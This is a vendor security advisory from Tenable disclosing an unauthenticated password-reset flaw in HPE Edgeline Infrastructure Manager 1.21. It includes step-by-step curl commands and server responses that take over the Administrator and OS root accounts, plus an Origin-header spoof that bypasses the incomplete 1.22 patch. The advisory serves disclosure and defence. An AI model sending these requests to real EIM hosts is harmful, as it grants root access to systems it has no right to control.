Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

HPE Edgeline Infrastructure Manager v1.21 Authentication Bypass

Critical

Synopsis

Tenable found an authentication bypass vulnerability in HPE Edgeline Infrastructure Manager (EIM) version 1.21.

When the user logs in to the web application for the first time with the default password for the existing Administrator account, the user is prompted to change the password for the account. The password change is carried out by sending a request to URL /redfish/v1/SessionService/ResetPassword/1. However, after the password change, an unauthenticated remote attacker can use the same URL to reset the password for the Administrator account.

After the password reset, the attacker can login to the web application with the new/correct Administrator password by sending a request to URL /redfish/v1/SessionService/Sessions. The attacker can then change the password of the OS root account by sending a request to URL /redfish/v1/AccountService/Accounts/1. This allows the attacker to SSH to the EIM host as root.

The following shows the attack steps:

# Reset the Administrator password
curl -k --tlsv1.2 -H 'Content-Type: application/json' -d '{"Password":"attacker"}' -X PATCH https://<eim-host>/redfish/v1/SessionService/ResetPassword/1
{"Messages": [{"MessageID": "Base.1.0.Updated"}], "@odata.type": "#Message.1.0.0.Message", "error": {"@Message.ExtendedInfo": [{"MessageID": "Base.1.0.updated"}], "code": "iLO.1.0.ExtendedInfo"}}

# Login with the new Administrator password; get an X-Auth-Token
curl -ki --tlsv1.2 -H 'content-type: application/json' -d '{"UserName":"Administrator","Password":"attacker"}' https://<eim-host>/redfish/v1/SessionService/Sessions
HTTP/1.1 201 Created
Server: nginx
Date: Thu, 28 Jan 2021 06:27:54 GMT
Content-Type: application/json
Content-Length: 195
Connection: keep-alive
X-Auth-Token: eda6c27504c54cf68e1d005742c1ef8c573e5e60
Is-Ldap: False
PasswordReset: False
Location: /redfish/v1/SessionService/Sessions/Administrator16
Cache-Control: no-cache
OData-Version: 4.0
Link: /redfish/v1/SchemaStore/en/SessionCollection.json;rel=describedby
Vary: Accept
Allow: POST, OPTIONS, GET
X-Frame-Options: SAMEORIGIN
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block

{"Messages": [{"MessageID": "Base.1.0.Created"}], "@odata.type": "#Message.1.0.0.Message", "error": {"@Message.ExtendedInfo": [{"MessageID": "Base.1.0.Created"}], "code": "iLO.1.0.ExtendedInfo"}}[


# Reset the root password
# This request sets the password for both the Administrator account (webapp user) and the root account (OS user)
curl -ki --tlsv1.2  -H 'content-type: application/json' -H 'x-auth-token: eda6c27504c54cf68e1d005742c1ef8c573e5e60' -d '{"Password":"attacker"}' -X PATCH https://<eim-host>/redfish/v1/AccountService/Accounts/1
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 28 Jan 2021 06:32:27 GMT
Content-Type: application/json
Content-Length: 75
Connection: keep-alive
Vary: Accept, Cookie
Allow: POST, GET, DELETE, OPTIONS, PATCH
X-Frame-Options: SAMEORIGIN
Set-Cookie: sessionid=kezu0jqn1xfalr3fcwet165fsvhw4v4r; expires=Thu, 11 Feb 2021 06:32:27 GMT; HttpOnly; Max-Age=1209600; Path=/; SameSite=Lax
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block

{"Status": "success", "Invalid_Entries": [], "Valid_Entries": ["Password"]}

Update (May 25, 2021): 

The version 1.22 fix for the vulnerability (CVE-2021-29203) is incomplete as the mitigation can be bypassed. Users are encouraged to upgrade to the 1.23 version in order to mitigate this issue. The initial patch attempts to fix the vulnerability by ensuring only the console user can reset the Administrator password by checking whether the Origin header in the HTTP request has the value of 'https://127.0.0.1':

--- 1.21/api_fs/opt/app/eim/api/views.py        2020-09-17 12:28:48.000000000 -0400
+++ 1.22/api_fs/opt/app/eim/api/views.py        2021-04-01 12:24:13.000000000 -0400
@@ -1830,9 +1830,20 @@
 @api_view(['PATCH'])
 @permission_classes((AllowAll,))
 def specific_password_reset(request, user_id):
+    is_console_user = False
+    request_origin = ""
+    if "HTTP_ORIGIN" in request.META and request.META["HTTP_ORIGIN"] == "https://127.0.0.1":
+        request_origin = request.META["HTTP_ORIGIN"]
+        is_console_user = True

-    if request.method == 'PATCH':
+    if not is_console_user:
+        logger.info("Unauthenticated password reset from {}".format(request_origin))
+        logger.info("Unauthenticated password reset is restricted to the console")
+        resp = JsonResponse(json.loads(error_template.format("ConsoleRestricted", "ConsoleRestricted")))
+        resp.status_code = 403
+        return resp

+    if request.method == 'PATCH':
         uri = request.get_full_path()

         try:

However, an unauthenticated remote attacker can set the Origin header to 'https://127.0.0.1', thus bypassing the mitigation:

curl -k --tlsv1.2 -H 'Content-Type: application/json' -H 'Origin: https://127.0.0.1' -d '{"Password":"attacker"}' -X PATCH https://<eim-1.22-host>/redfish/v1/SessionService/ResetPassword/1
{"Messages": [{"MessageID": "Base.1.0.Updated"}], "@odata.type": "#Message.1.0.0.Message", "error": {"@Message.ExtendedInfo": [{"MessageID": "Base.1.0.updated"}], "code": "iLO.1.0.ExtendedInfo"}}

The attacker can then login to the EIM GUI using the newly reset Administrator password. From the GUI, he resets the Administrator password again, this time the URL to reset the Administrator password is /redfish/v1/AccountService/Accounts/1, which is different than /redfish/v1/SessionService/ResetPassword/1. This operation resets the password for both the Administrator webapp user and the OS root user. This allows the attacker to SSH to the EIM host as root.

Solution

HPE has released a fix in Edgeline Infrastructure Manager 1.23.

Disclosure Timeline

01/28/2021 - Vulnerability discovered
02/01/2021 - Vulnerability disclosed to vendor
02/01/2021 - Vendor acknowledges
02/16/2021 - Tenable requests status update
02/16/2021 - Vendor states that fixes are in progress
03/08/2021 - Tenable requests status update
3/8/2021 - Vendor states that fixes are in progress
3/24/2021 - Tenable requests status update
3/25/2021 - Vendor states that fixes have been made and are currently in testing phase.
4/26/2021 - Vendor notifies Tenable of CVE and requests information on who to credit.
4/29/2021 - Tenable states to credit "Tenable Research."
05/07/2021 - Patch bypass discovered
05/17/2021 - HPE notified. Existing advisory to be updated May 24.
05/18/2021 - HPE acknowledges report.
05/19/2021 - HPE requests timeline extension. Tenable denies and cites policy.
05/20/2021 - HPE requests advanced copy of advisory. Tenable provides information to be included.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2021-29203
Tenable Advisory ID: TRA-2021-15
CVSSv3 Base / Temporal Score:
9.8 / 9.1
CVSSv3 Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Products:
HPE Edgeline Infrastructure Manager v1.21
Risk Factor:
Critical

Advisory Timeline

April 30, 2021 - Initial release.
May 25, 2021 - Updated synopsis and solution.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Tenable Vulnerability Management trials created everywhere except UAE will also include Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose your subscription option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Tenable Vulnerability Management trials created everywhere except UAE will also include Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose your subscription option:

Buy Now